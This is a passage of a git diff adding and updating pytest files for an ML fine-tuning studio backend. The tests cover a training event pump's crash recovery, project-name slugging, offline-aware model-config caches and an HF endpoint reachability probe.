+Fakes only; no GPU, network, or subprocess.
+"""
+
+from __future__ import annotations
+
+import contextlib
+import logging
+import queue
+import sys
+import threading
+import time
+import types as _types
+from pathlib import Path
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# Stub the heavy module-level imports of core/training/training.py so it imports
+# under CPU-only/no-network, then restore them (see the restore loop below).
+_SAVED: dict = {}
+
+
+def _stub(name, mod):
+    _SAVED[name] = sys.modules.get(name)
+    sys.modules[name] = mod
+
+
+_lg = _types.ModuleType("loggers")
+_lg.get_logger = lambda name: logging.getLogger(name)
+_stub("loggers", _lg)
+_stub("structlog", _types.ModuleType("structlog"))
+_mpl = _types.ModuleType("matplotlib")
+_plt = _types.ModuleType("matplotlib.pyplot")
+_plt.Figure = type("Figure", (), {})  # referenced in a class-def annotation
+_mpl.pyplot = _plt
+_stub("matplotlib", _mpl)
+_stub("matplotlib.pyplot", _plt)
+_hw = _types.ModuleType("utils.hardware")
+_hw.prepare_gpu_selection = lambda *a, **k: (None, None)
+_stub("utils.hardware", _hw)
+_npl = _types.ModuleType("utils.native_path_leases")
+_npl.native_path_secret_removed_for_child_start = lambda: contextlib.nullcontext()
+_npl.run_without_native_path_secret = lambda fn: fn
+_stub("utils.native_path_leases", _npl)
+_pth = _types.ModuleType("utils.paths")
+_pth.outputs_root = lambda *a, **k: "/tmp/outputs"
+_stub("utils.paths", _pth)
+
+# Whether core.training.training was already imported before this file ran; only
+# evict it below if we were the one to create the (stub-bound) module instance.
+_TRAINING_PRE_IMPORTED = "core.training.training" in sys.modules
+
+from core.training.training import TrainingBackend
+
+# Restore every stubbed module so this file never pollutes the shared session.
+for _name in (
+    "loggers",
+    "structlog",
+    "matplotlib",
+    "matplotlib.pyplot",
+    "utils.hardware",
+    "utils.native_path_leases",
+    "utils.paths",
+):
+    _prev = _SAVED.get(_name)
+    if _prev is None:
+        sys.modules.pop(_name, None)
+    else:
+        sys.modules[_name] = _prev
+
+# training imported its helpers while the stubs were active, binding them to stubs.
+# If we created the cached module, evict it (and its parent) so a later test
+# re-imports the real one.
+if not _TRAINING_PRE_IMPORTED:
+    sys.modules.pop("core.training.training", None)
+    sys.modules.pop("core.training", None)
+
+
+class _FakeProc:
+    """A subprocess handle whose liveness the test drives directly."""
+
+    def __init__(self, alive: bool = True):
+        self._alive = alive
+        self.pid = 4321
+
+    def is_alive(self):
+        return self._alive
+
+    def join(self, timeout = None):
+        self._alive = False
+
+
+class _IdleQueue:
+    """get()/get_nowait() always signal "no event" so the pump idles."""
+
+    def put(self, *a, **k):
+        pass
+
+    def get(self, *a, **k):
+        raise queue.Empty
+
+    def get_nowait(self, *a, **k):
+        raise queue.Empty
+
+
+class _ScriptedQueue:
+    """Yields queued events once, then signals empty forever."""
+
+    def __init__(self, events):
+        self._events = list(events)
+
+    def put(self, *a, **k):
+        pass
+
+    def get(self, *a, **k):
+        if self._events:
+            return self._events.pop(0)
+        raise queue.Empty
+
+    def get_nowait(self, *a, **k):
+        if self._events:
+            return self._events.pop(0)
+        raise queue.Empty
+
+
+def _dead_thread() -> threading.Thread:
+    t = threading.Thread(target = lambda: None)
+    t.start()
+    t.join()
+    return t
+
+
+def _silence_db(monkeypatch, b):
+    """Neutralize DB finalization so a started pump exits cleanly off-box."""
+    monkeypatch.setattr(b, "_ensure_db_run_created", lambda: None)
+    monkeypatch.setattr(b, "_finalize_run_in_db", lambda **k: None)
+
+
+def _wait_until(predicate, timeout = 5.0):
+    deadline = time.time() + timeout
+    while time.time() < deadline:
+        if predicate():
+            return True
+        time.sleep(0.01)
+    return predicate()
+
+
+# ----------------------------------------------------------------------------
+# Guarantee 1: a single bad event/queue error cannot kill the pump.
+# ----------------------------------------------------------------------------
+
+
+def test_pump_survives_handler_exception_and_keeps_processing(monkeypatch):
+    b = TrainingBackend()
+    _silence_db(monkeypatch, b)
+    handled: list = []
+
+    def fake_handle(ev):
+        if ev.get("type") == "boom":
+            raise RuntimeError("handler blew up")
+        handled.append(ev.get("type"))
+
+    monkeypatch.setattr(b, "_handle_event", fake_handle)
+
+    proc = _FakeProc(alive = True)
+    b._proc = proc
+    b._event_queue = _ScriptedQueue(
+        [{"type": "boom"}, {"type": "progress"}, {"type": "boom"}, {"type": "progress"}]
+    )
+
+    pump = threading.Thread(target = b._pump_loop, daemon = True)
+    pump.start()
+    try:
+        assert _wait_until(
+            lambda: handled.count("progress") == 2
+        ), "pump must keep processing good events after handler exceptions"
+        assert pump.is_alive(), "pump thread must survive handler exceptions"
+        assert b._pump_running is True
+    finally:
+        proc._alive = False  # let the loop reach its clean exit
+        pump.join(timeout = 5)
+
+    assert not pump.is_alive()
+    assert b._pump_running is False, "clean exit must clear the running flag"
+
+
+def test_read_queue_narrow_contract():
+    class _Q:
+        def __init__(self, exc):
+            self.exc = exc
+
+        def get(self, *a, **k):
+            raise self.exc
+
+    # Expected closed/broken-queue signals read as "no event".
+    for exc in (queue.Empty(), EOFError(), OSError(), ValueError()):
+        assert TrainingBackend._read_queue(_Q(exc), 0.01) is None
+
+    # Anything unexpected propagates on purpose to _pump_loop's guarded block,
+    # which logs and backs off instead of swallowing it into a hot loop.
+    with pytest.raises(RuntimeError):
+        TrainingBackend._read_queue(_Q(RuntimeError("boom")), 0.01)
+
+
+def test_pump_survives_queue_read_exception_and_recovers(monkeypatch):
+    # _read_queue raising an unexpected error must be caught by the pump's outer
+    # guard (log + backoff), not kill the pump; once reads recover it processes.
+    b = TrainingBackend()
+    _silence_db(monkeypatch, b)
+    handled: list = []
+    monkeypatch.setattr(b, "_handle_event", lambda ev: handled.append(ev.get("type")))
+
+    class _FlakyQueue:
+        def __init__(self):
+            self.calls = 0
+
+        def get(self, *a, **k):
+            self.calls += 1
+            if self.calls <= 3:
+                raise RuntimeError("transient queue read error")
+            if self.calls == 4:
+                return {"type": "progress", "step": 1}
+            raise queue.Empty
+
+        def get_nowait(self, *a, **k):
+            raise queue.Empty
+
+    proc = _FakeProc(alive = True)
+    b._proc = proc
+    b._event_queue = _FlakyQueue()
+
+    pump = threading.Thread(target = b._pump_loop, daemon = True)
+    pump.start()
+    try:
+        assert _wait_until(
+            lambda: handled == ["progress"]
+        ), "pump must recover after read errors and process the next event"
+        assert pump.is_alive()
+    finally:
+        proc._alive = False
+        pump.join(timeout = 5)
+
+
+def test_pump_finalizes_when_drain_queue_raises_unexpected_error(monkeypatch):
+    # Worker has exited; the final drain hits an unexpected error. The run must
+    # still be finalized (not wedged "active" with a dead worker).
+    b = TrainingBackend()
+    finalized: dict = {}
+    monkeypatch.setattr(b, "_ensure_db_run_created", lambda: None)
+    monkeypatch.setattr(b, "_finalize_run_in_db", lambda **kw: finalized.update(kw))
+
+    class _BadDrainQueue:
+        def get(self, *a, **k):
+            raise queue.Empty
+
+        def get_nowait(self, *a, **k):
+            raise RuntimeError("corrupt drain payload")
+
+    b._proc = _FakeProc(alive = False)
+    b._event_queue = _BadDrainQueue()
+    b._progress.is_training = True
+
+    b._pump_loop()  # returns once it sees the dead worker
+
+    assert b._progress.is_training is False
+    assert b._progress.error == "Training process exited unexpectedly"
+    assert finalized.get("status") == "error"
+    assert b._pump_running is False
+    assert b.is_training_active() is False
+
+
+def test_pump_finalizes_when_read_keeps_raising_on_dead_worker(monkeypatch):
+    # An unexpected error escapes _read_queue to the pump's outer guard; if it
+    # keeps raising after worker exit, the loop must still finalize, not spin.
+    b = TrainingBackend()
+    finalized: dict = {}
+    monkeypatch.setattr(b, "_ensure_db_run_created", lambda: None)
+    monkeypatch.setattr(b, "_finalize_run_in_db", lambda **kw: finalized.update(kw))
+
+    class _BrokenReadQueue:
+        def get(self, *a, **k):
+            raise RuntimeError("broken queue pipe")
+
+        def get_nowait(self, *a, **k):
+            raise queue.Empty
+
+    b._proc = _FakeProc(alive = False)
+    b._event_queue = _BrokenReadQueue()
+    b._progress.is_training = True
+
+    pump = threading.Thread(target = b._pump_loop, daemon = True)
+    pump.start()
+    pump.join(timeout = 5)
+    assert not pump.is_alive(), "pump must finalize a dead worker even when reads keep raising"
+    assert b._progress.is_training is False
+    assert finalized.get("status") == "error"
+    assert b._pump_running is False
+
+
+def test_start_training_clears_stale_pump_running_flag():
+    # A prior pump that died abnormally leaves _pump_running True. The next
+    # start_training must clear it during reset so the start-time watchdog can't
+    # treat the fresh setup as a recoverable crash and spawn a duplicate pump.
+    b = TrainingBackend()
+    b._pump_running = True
+    b._pump_thread = None
+    b._proc = None
+
+    # No model_name -> start_training bails at kwargs["model_name"] (KeyError),
+    # but only AFTER the reset block that clears the stale flag.
+    with pytest.raises(KeyError):
+        b.start_training("job_stale_flag_test")
+
+    assert b._pump_running is False
+
+
+# ----------------------------------------------------------------------------
+# Guarantee 2: a pump that dies while the worker runs is detected + restarted.
+# ----------------------------------------------------------------------------
+
+
+def test_ensure_pump_alive_restarts_crashed_pump(monkeypatch):
+    b = TrainingBackend()
+    _silence_db(monkeypatch, b)
+    b._proc = _FakeProc(alive = True)
+    b._event_queue = _IdleQueue()
+    b._pump_running = True  # a pump started, then died abnormally
+    dead = _dead_thread()
+    b._pump_thread = dead
+
+    assert b._ensure_pump_alive() is True
+    try:
+        assert b._pump_thread is not dead
+        assert b._pump_thread.is_alive(), "a fresh pump must be running"
+    finally:
+        b._proc._alive = False
+        b._pump_thread.join(timeout = 5)
+
+
+def test_ensure_pump_alive_noop_when_pump_alive():
+    b = TrainingBackend()
+    b._proc = _FakeProc(alive = True)
+    b._event_queue = _IdleQueue()
+    b._pump_running = True
+    release = threading.Event()
+    alive = threading.Thread(target = release.wait, daemon = True)
+    alive.start()
+    b._pump_thread = alive
+    try:
+        assert b._ensure_pump_alive() is False
+        assert b._pump_thread is alive
+    finally:
+        release.set()
+        alive.join(timeout = 5)
+
+
+def test_ensure_pump_alive_revives_crashed_pump_after_worker_exit(monkeypatch):
+    # True _pump_running + dead thread = a crash (the loop clears the flag on
+    # intended exits). The queue may still hold terminal events, so the pump must
+    # restart to drain and finalize, else the run is stuck "running" forever.
+    b = TrainingBackend()
+    _silence_db(monkeypatch, b)
+    b._proc = _FakeProc(alive = False)
+    b._event_queue = _IdleQueue()
+    b._progress.is_training = True
+    b._pump_running = True
+    b._pump_thread = _dead_thread()
+
+    assert b._ensure_pump_alive() is True
+    assert _wait_until(
+        lambda: b._progress.is_training is False
+    ), "the restarted pump must drain + finalize the stranded run"
+    b._pump_thread.join(timeout = 5)
+    assert b._pump_running is False
+    assert b.is_training_active() is False
+
+
+def test_ensure_pump_alive_noop_during_setup():
+    # _pump_running is False between state-reset and the first pump actually
+    # running; the watchdog must not race in and spawn a rogue pump.
+    b = TrainingBackend()
+    b._proc = _FakeProc(alive = True)
+    b._event_queue = _IdleQueue()
+    b._pump_running = False
+    b._pump_thread = None
+    assert b._ensure_pump_alive() is False
+    assert b._pump_thread is None
+
+
+def test_is_training_active_revives_dead_pump(monkeypatch):
+    b = TrainingBackend()
+    _silence_db(monkeypatch, b)
+    b._proc = _FakeProc(alive = True)
+    b._event_queue = _IdleQueue()
+    b._pump_running = True
+    dead = _dead_thread()
+    b._pump_thread = dead
+
+    # The status poll the SSE stream makes every second both reports activity
+    # and heals the dead pump as a side effect.
+    assert b.is_training_active() is True
+    try:
+        assert b._pump_thread is not dead
+        assert b._pump_thread.is_alive()
+    finally:
+        b._proc._alive = False
+        b._pump_thread.join(timeout = 5)
+
+
+# ----------------------------------------------------------------------------
+# Guarantee 3: the DB run row exists before the pump consumes any event.
+# ----------------------------------------------------------------------------
+
+
+def _stub_spawn(monkeypatch):
+    """Stub start_training's spawn surface (GPU pick, mp context, worker)."""
+    g = TrainingBackend.start_training.__globals__
+
+    class _SpawnProc:
+        pid = 4321
+
+        def start(self):
+            pass
+
+        def is_alive(self):
+            return True
+
+    class _Ctx:
+        def Queue(self):
+            return _IdleQueue()
+
+        def Process(self, **k):
+            return _SpawnProc()
+
+    # _CTX / prepare_gpu_selection resolve from the module globals; patch the
+    # function's own globals so the eviction of core.training.training (done at
+    # this test module's import for isolation) can't hand us a different copy.
+    monkeypatch.setitem(g, "_CTX", _Ctx())
+    monkeypatch.setitem(g, "prepare_gpu_selection", lambda *a, **k: (None, None))
+
+    hw = _types.ModuleType("utils.hardware")
+    hw.prepare_gpu_selection = lambda *a, **k: (None, None)
+    hw.hardware = type("HW", (), {"DEVICE": "cuda", "DeviceType": type("D", (), {"MLX": "mlx"})})()
+    monkeypatch.setitem(sys.modules, "utils.hardware", hw)
+
+    pl = _types.ModuleType("utils.process_lifetime")
+    pl.adopt_pid = lambda pid: None
+    monkeypatch.setitem(sys.modules, "utils.process_lifetime", pl)
+
+    worker = _types.ModuleType("core.training.worker")
+    worker.run_training_process = lambda **k: None
+    monkeypatch.setitem(sys.modules, "core.training.worker", worker)
+
+
+def test_db_run_created_before_pump_consumes_events(monkeypatch):
+    # A fast terminal worker must not race the pump into creating the DB row: by
+    # the time the pump runs, start_training has already created it. The create
+    # sleep widens the window so the ordering is observed, not luck.
+    b = TrainingBackend()
+    _stub_spawn(monkeypatch)
+
+    def slow_create():
+        time.sleep(0.05)
+        b._db_run_created = True
+
+    seen = {}
+
+    def fake_pump():
+        seen["db_created"] = b._db_run_created
+        b._pump_running = False
+
+    monkeypatch.setattr(b, "_ensure_db_run_created", slow_create)
+    monkeypatch.setattr(b, "_pump_loop", fake_pump)
+
+    assert b.start_training("job_db_order", model_name = "m") is True
+    if b._pump_thread is not None:
+        b._pump_thread.join(timeout = 2.0)
+
+    # The pump observed an already-created run; it would be False if the pump
+    # were started before the eager create.
+    assert seen["db_created"] is True
diff --git a/studio/backend/tests/test_training_runs.py b/studio/backend/tests/test_training_runs.py
new file mode 100644
index 0000000000..fd0d6d380f
--- /dev/null
+++ b/studio/backend/tests/test_training_runs.py
@@ -0,0 +1,103 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import json
+
+from storage.studio_db import _extract_project_name_from_config_json
+from utils.training_runs import (
+    build_default_output_dir_name,
+    model_segment_from_default_output_dir_name,
+    normalize_project_name,
+    slugify_project_name,
+)
+
+
+def test_normalize_project_name_trims_and_collapses_whitespace():
+    assert normalize_project_name("  Customer   Support   LoRA  ") == "Customer Support LoRA"
+
+
+def test_normalize_project_name_returns_none_for_empty_or_invalid_values():
+    assert normalize_project_name("   ") is None
+    assert normalize_project_name(None) is None
+
+
+def test_slugify_project_name_makes_safe_suffix():
+    assert slugify_project_name("Customer Support / LoRA v2") == "customer-support-lora-v2"
+
+
+def test_slugify_project_name_rejects_path_only_or_separator_only_values():
+    assert slugify_project_name("..") is None
+    assert slugify_project_name("///") is None
+
+
+def test_build_default_output_dir_name_appends_project_slug():
+    output_dir = build_default_output_dir_name(
+        "unsloth/Llama-3.2-3B-Instruct",
+        "Customer Support",
+        timestamp = 1771227800,
+    )
+
+    assert output_dir == "unsloth_Llama-3.2-3B-Instruct__project-customer-support_1771227800"
+
+
+def test_build_default_output_dir_name_caps_final_component(tmp_path):
+    output_dir = build_default_output_dir_name(
+        "a" * 240,
+        "b" * 80,
+        timestamp = 1771227800,
+    )
+
+    assert len(output_dir.encode()) <= 255
+    (tmp_path / output_dir).mkdir()
+
+
+def test_build_default_output_dir_name_skips_invalid_project_slug():
+    output_dir = build_default_output_dir_name(
+        "unsloth/Llama-3.2-3B-Instruct",
+        "..",
+        timestamp = 1771227800,
+    )
+
+    assert output_dir == "unsloth_Llama-3.2-3B-Instruct_1771227800"
+
+
+def test_model_segment_from_default_output_dir_name_strips_project_slug():
+    assert (
+        model_segment_from_default_output_dir_name(
+            "unsloth_Llama-3.2-3B-Instruct__project-customer-support_1771227800"
+        )
+        == "unsloth_Llama-3.2-3B-Instruct"
+    )
+
+
+def test_model_segment_preserves_project_marker_text_in_model_name():
+    output_dir = build_default_output_dir_name(
+        "org/foo__project-bar",
+        timestamp = 1771227800,
+    )
+
+    assert output_dir == "org_foo__project--bar_1771227800"
+    assert model_segment_from_default_output_dir_name(output_dir) == "org_foo__project-bar"
+
+
+def test_model_segment_strips_project_slug_after_escaped_model_marker():
+    output_dir = build_default_output_dir_name(
+        "org/foo__project-bar",
+        "Customer Support",
+        timestamp = 1771227800,
+    )
+
+    assert output_dir == "org_foo__project--bar__project-customer-support_1771227800"
+    assert model_segment_from_default_output_dir_name(output_dir) == "org_foo__project-bar"
+
+
+def test_extract_project_name_from_config_json_returns_normalized_name():
+    config_json = json.dumps({"project_name": "  Sales   Assistant  "})
+
+    assert _extract_project_name_from_config_json(config_json) == "Sales Assistant"
+
+
+def test_extract_project_name_from_config_json_handles_missing_or_invalid_payload():
+    assert _extract_project_name_from_config_json(None) is None
+    assert _extract_project_name_from_config_json("not-json") is None
+    assert _extract_project_name_from_config_json(json.dumps({"project_name": "   "})) is None
diff --git a/studio/backend/tests/test_training_streaming.py b/studio/backend/tests/test_training_streaming.py
index 8ff016d3bf..70b2d6fdcc 100644
--- a/studio/backend/tests/test_training_streaming.py
+++ b/studio/backend/tests/test_training_streaming.py
@@ -195,6 +195,16 @@ def test_hf_dataset_rejects_unsafe_values(bad_hf_dataset):
         )
 
 
+def test_project_name_rejects_values_over_ui_limit():
+    with pytest.raises(ValidationError):
+        TrainingStartRequest(
+            model_name = "unsloth/test",
+            project_name = "x" * 81,
+            training_type = "LoRA/QLoRA",
+            format_type = "alpaca",
+        )
+
+
 # --- Start-route streaming compatibility guards ---
 
 
diff --git a/studio/backend/tests/test_transformers_version.py b/studio/backend/tests/test_transformers_version.py
index 989c6378bd..b9b5abb9e5 100644
--- a/studio/backend/tests/test_transformers_version.py
+++ b/studio/backend/tests/test_transformers_version.py
@@ -60,6 +60,7 @@ from utils.transformers_version import (
     activate_transformers_for_subprocess,
     _venv_dir_is_valid,
     _ensure_venv_dir,
+    hf_endpoint_unreachable,
 )
 
 
@@ -2428,3 +2429,124 @@ class TestMalformedInputRobustness:
 
     def test_empty_name_returns_default(self):
         assert get_transformers_tier("") == "default"
+
+
+# ---------------------------------------------------------------------------
+# Offline negatives must not poison the version caches (persistent worker)
+# ---------------------------------------------------------------------------
+
+
+class TestOfflineCacheNotPoisoned:
+    """An offline first load must not leave a stale negative for a later online read."""
+
+    def setup_method(self):
+        _tokenizer_class_cache.clear()
+        _config_json_cache.clear()
+
+    def test_offline_tokenizer_assumption_not_cached(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        monkeypatch.setattr(tv, "_env_offline", lambda: True)
+        # No local file, not a local dir -> offline branch returns False without caching.
+        assert _check_tokenizer_config_needs_v5("org/uncached") is False
+        assert ("org/uncached", None) not in _tokenizer_class_cache
+
+    def test_offline_then_online_refetches(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        # 1) Offline: returns False, nothing cached.
+        monkeypatch.setattr(tv, "_env_offline", lambda: True)
+        assert _check_tokenizer_config_needs_v5("org/needs5") is False
+        assert ("org/needs5", None) not in _tokenizer_class_cache
+
+        # 2) Back online: the real fetch runs (cache was not poisoned) and is honored.
+        monkeypatch.setattr(tv, "_env_offline", lambda: False)
+
+        class _Resp:
+            def read(self):
+                return json.dumps({"tokenizer_class": "TokenizersBackend"}).encode()
+
+            def __enter__(self):
+                return self
+
+            def __exit__(self, *a):
+                return False
+
+        monkeypatch.setattr("urllib.request.urlopen", lambda req, timeout = 10: _Resp())
+        assert _check_tokenizer_config_needs_v5("org/needs5") is True
+
+    def test_offline_config_miss_not_cached(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        monkeypatch.setattr(tv, "_env_offline", lambda: True)
+        monkeypatch.setattr(tv, "_config_json_from_hf_cache", lambda name: None)
+        assert _load_config_json("org/uncached-config", None) is None
+        assert ("org/uncached-config", None) not in _config_json_cache
+
+
+# ---------------------------------------------------------------------------
+# hf_endpoint_unreachable — bounded, proxy/egress-aware reachability probe
+# ---------------------------------------------------------------------------
+
+
+class TestHfEndpointUnreachable:
+    def test_reachable_returns_false(self, monkeypatch):
+        class _Resp:
+            def __enter__(self):
+                return self
+
+            def __exit__(self, *a):
+                return False
+
+        monkeypatch.setattr("urllib.request.urlopen", lambda *a, **k: _Resp())
+        assert hf_endpoint_unreachable(timeout = 2) is False
+
+    def test_gateway_error_is_unreachable(self, monkeypatch):
+        import urllib.error
+
+        def _gw(*a, **k):
+            raise urllib.error.HTTPError("http://x", 504, "Gateway Timeout", {}, None)
+
+        monkeypatch.setattr("urllib.request.urlopen", _gw)
+        assert hf_endpoint_unreachable(timeout = 2) is True
+
+    def test_other_http_status_is_reachable(self, monkeypatch):
+        import urllib.error
+
+        def _405(*a, **k):
+            raise urllib.error.HTTPError("http://x", 405, "Method Not Allowed", {}, None)
+
+        monkeypatch.setattr("urllib.request.urlopen", _405)
+        assert hf_endpoint_unreachable(timeout = 2) is False
+
+    def test_tls_failure_is_reachable(self, monkeypatch):
+        import ssl
+        import urllib.error
+
+        def _tls(*a, **k):
+            raise urllib.error.URLError(ssl.SSLCertVerificationError("self-signed"))
+
+        monkeypatch.setattr("urllib.request.urlopen", _tls)
+        # TLS reached the server: treat as reachable so the load surfaces the cert error.
+        assert hf_endpoint_unreachable(timeout = 2) is False
+
+    def test_dns_failure_is_unreachable(self, monkeypatch):
+        import socket
+        import urllib.error
+
+        def _dns(*a, **k):
+            raise urllib.error.URLError(socket.gaierror(-2, "Name or service not known"))
+
+        monkeypatch.setattr("urllib.request.urlopen", _dns)
+        assert hf_endpoint_unreachable(timeout = 2) is True
+
+    def test_hung_probe_is_bounded(self, monkeypatch):
+        import time
+
+        def _hang(*a, **k):
+            time.sleep(30)
+
+        monkeypatch.setattr("urllib.request.urlopen", _hang)
+        t0 = time.time()
+        result = hf_endpoint_unreachable(timeout = 2)
+        assert result is True and (time.time() - t0) < 6.0
diff --git a/studio/backend/tests/test_vision_cache.py b/studio/backend/tests/test_vision_cache.py
index 192bec53c8..18b532cc9b 100644
--- a/studio/backend/tests/test_vision_cache.py
+++ b/studio/backend/tests/test_vision_cache.py
@@ -41,8 +41,20 @@ from utils.models.model_config import (
 
 
 @pytest.fixture(autouse = True)
-def _clear_vision_cache():
-    """Ensure every test starts with a fresh cache."""
+def _clear_vision_cache(tmp_path, monkeypatch):
+    """Ensure every test starts with a fresh cache, from an empty working dir.
+
+    ``is_vision_model`` calls ``is_local_path`` first: any relative model id that
+    happens to exist on disk (``Path(name).exists()``) is treated as a local
+    model, short-circuiting before the mocked detection internals run. The CI cwd
+    (``studio/backend``) and the HF cache can contain dirs whose names collide
+    with the synthetic remote ids used here (``org/my-vlm``, ``model-a``,
+    ``broken/model`` ...), which made these tests fail with "called 0 times".
+    Running each test from a fresh empty ``tmp_path`` removes that collision
+    while leaving the real ``is_local_path`` logic intact (the local-GGUF tests
+    pass absolute ``tmp_path`` paths, unaffected by cwd).
+    """
+    monkeypatch.chdir(tmp_path)
     _vision_detection_cache.clear()
     yield
     _vision_detection_cache.clear()
@@ -59,7 +71,7 @@ class TestVisionCacheHitMiss:
         """Two calls for the same model invoke the uncached fn once."""
         assert is_vision_model("org/my-vlm") is True
         assert is_vision_model("org/my-vlm") is True
-        mock_uncached.assert_called_once_with("org/my-vlm", None)
+        mock_uncached.assert_called_once_with("org/my-vlm", None, local_files_only = False)
 
     @patch("utils.models.model_config._is_vision_model_uncached", return_value = False)
     def test_different_models_each_detected(self, mock_uncached):
@@ -85,7 +97,7 @@ class TestVisionCacheStoresFalse:
         assert is_vision_model("org/text-only") is False
         assert is_vision_model("org/text-only") is False
         mock_uncached.assert_called_once()
-        assert _vision_detection_cache[("org/text-only", None)] is False
+        assert _vision_detection_cache[("org/text-only", None, False)] is False
 
 
 # Subprocess path (transformers 5.x) caching
@@ -108,7 +120,7 @@ class TestVisionCacheSubprocessPath:
         assert is_vision_model("unsloth/Qwen3.5-2B") is True
 
         mock_subprocess.assert_called_once()
-        assert _vision_detection_cache[("unsloth/Qwen3.5-2B", None)] is True
+        assert _vision_detection_cache[("unsloth/Qwen3.5-2B", None, False)] is True
 
     @patch("utils.models.model_config._raw_config_has_vision_config", return_value = True)
     @patch("utils.models.model_config._is_vision_model_subprocess", return_value = None)
@@ -121,7 +133,9 @@ class TestVisionCacheSubprocessPath:
         assert is_vision_model("unsloth/gemma-4-E4B-it") is True
         assert is_vision_model("unsloth/gemma-4-E4B-it") is True
 
-        mock_raw_config.assert_called_once_with("unsloth/gemma-4-E4B-it", hf_token = None)
+        mock_raw_config.assert_called_once_with(
+            "unsloth/gemma-4-E4B-it", hf_token = None, local_files_only = False
+        )
         mock_subprocess.assert_not_called()
 
 
@@ -393,6 +407,43 @@ class TestVisionCacheTokenHandling:
         mock_uncached.assert_called_once()
 
 
+class TestVisionCacheLocalOnly:
+    """local_files_only is in the cache key: an offline negative must not be reused by a
+    later online probe (else a VLM is routed through the text loader until restart)."""
+
+    def test_local_only_negative_does_not_poison_online(self, monkeypatch):
+        import utils.models.model_config as mc
+
+        mc._vision_detection_cache.clear()
+        monkeypatch.setattr(mc, "is_local_path", lambda *_a, **_k: False)
+        monkeypatch.setattr(mc, "resolve_cached_repo_id_case", lambda n, *_a, **_k: n)
+        # Pin env-offline off so the key tracks the kwarg.
+        monkeypatch.setattr(mc, "_env_offline", lambda: False)
+
+        seen = []
+
+        def _probe(
+            name,
+            hf_token = None,
+            local_files_only = False,
+        ):
+            seen.append(local_files_only)
+            # Offline can't fetch -> not a VLM; online reveals the VLM.
+            return False if local_files_only else True
+
+        monkeypatch.setattr(mc, "_is_vision_model_uncached", _probe)
+
+        # Offline probe caches False under a local-only key.
+        assert mc.is_vision_model("some/vlm", local_files_only = True) is False
+        # A later online probe must re-run (different key) and detect the VLM.
+        assert mc.is_vision_model("some/vlm", local_files_only = False) is True
+        assert seen == [True, False]
+        # The online positive is then cached for subsequent online callers.
+        assert mc.is_vision_model("some/vlm", local_files_only = False) is True
+        assert seen == [True, False]
+        mc._vision_detection_cache.clear()
+
+
 # ---------------------------------------------------------------------------
 # Direct unit tests for _raw_config_has_vision_config
 # ---------------------------------------------------------------------------
@@ -558,7 +609,11 @@ class TestAudioDetectionCacheTokenAware:
         mc._audio_detection_cache.clear()
         calls = []
 
-        def _fake(name, hf_token = None):
+        def _fake(
+            name,
+            hf_token = None,
+            local_files_only = False,
+        ):
             calls.append(hf_token)
             # Gated repo: only an authenticated probe can read the tokenizer.
             return ("bicodec", True) if hf_token else (None, True)
@@ -589,7 +644,11 @@ class TestAudioDetectionCacheTokenAware:
 
         transient_calls = []
 
-        def _transient(name, hf_token = None):
+        def _transient(
+            name,
+            hf_token = None,
+            local_files_only = False,
+        ):
             transient_calls.append(hf_token)
             return (None, False)  # network/5xx -- not cacheable
 
@@ -601,7 +660,11 @@ class TestAudioDetectionCacheTokenAware:
 
         definitive_calls = []
 
-        def _definitive(name, hf_token = None):
+        def _definitive(
+            name,
+            hf_token = None,
+            local_files_only = False,
+        ):
             definitive_calls.append(hf_token)
             return (None, True)  # read the config, no audio tokens
 
@@ -611,3 +674,94 @@ class TestAudioDetectionCacheTokenAware:
         # Probed once: the definitive None was cached.
         assert definitive_calls == [None]
         mc._audio_detection_cache.clear()
+
+    def test_local_only_negative_does_not_poison_online(self, monkeypatch):
+        """An offline negative must not be reused by a later online probe (else an audio
+        model is routed through the text loader until restart)."""
+        import utils.models.model_config as mc
+
+        mc._audio_detection_cache.clear()
+        monkeypatch.setattr(mc, "is_local_path", lambda *_a, **_k: False)
+        monkeypatch.setattr(mc, "resolve_cached_repo_id_case", lambda n, *_a, **_k: n)
+        # Pin env-offline off so the key tracks the kwarg.
+        monkeypatch.setattr(mc, "_env_offline", lambda: False)
+
+        seen = []
+
+        def _probe(
+            name,
+            hf_token = None,
+            local_files_only = False,
+        ):
+            seen.append(local_files_only)
+            # Offline: nothing on disk -> not audio; online reveals the audio model.
+            return (None, True) if local_files_only else ("snac", True)
+
+        monkeypatch.setattr(mc, "_detect_audio_from_tokenizer", _probe)
+
+        # Offline probe caches None under a local-only key.
+        assert mc.detect_audio_type("some/audio-model", local_files_only = True) is None
+        # A later online probe must re-run (different key) and detect the audio model.
+        assert mc.detect_audio_type("some/audio-model", local_files_only = False) == "snac"
+        assert seen == [True, False]
+        # The online positive is then cached for subsequent online callers.
+        assert mc.detect_audio_type("some/audio-model", local_files_only = False) == "snac"
+        assert seen == [True, False]
+        mc._audio_detection_cache.clear()
+
+    def test_env_offline_negative_does_not_poison_online(self, monkeypatch):
+        """An env-offline probe (default local_files_only=False) must cache under the
+        effective-offline key, so clearing the env var later doesn't leak a stale negative."""
+        import utils.models.model_config as mc
+
+        mc._audio_detection_cache.clear()
+        monkeypatch.setattr(mc, "is_local_path", lambda *_a, **_k: False)
+        monkeypatch.setattr(mc, "resolve_cached_repo_id_case", lambda n, *_a, **_k: n)
+
+        env_offline = {"v": True}
+        monkeypatch.setattr(mc, "_env_offline", lambda: env_offline["v"])
+
+        seen = []
+
+        def _probe(
+            name,
+            hf_token = None,
+            local_files_only = False,
+        ):
+            seen.append(local_files_only)
+            return (None, True) if local_files_only else ("snac", True)
+
+        monkeypatch.setattr(mc, "_detect_audio_from_tokenizer", _probe)
+
+        # Env offline + default kwarg -> probe runs offline; None cached under the offline key.
+        assert mc.detect_audio_type("some/audio-model") is None
+        assert seen == [True]
+        # Env var cleared: a fresh online probe must re-run (different key) and detect.
+        env_offline["v"] = False
+        assert mc.detect_audio_type("some/audio-model") == "snac"
+        assert seen == [True, False]
+        mc._audio_detection_cache.clear()
+
+
+class TestEnvOfflineParsing:
+    """_env_offline accepts the canonical truthy set (strip+lower, on/true/yes/1); it gates
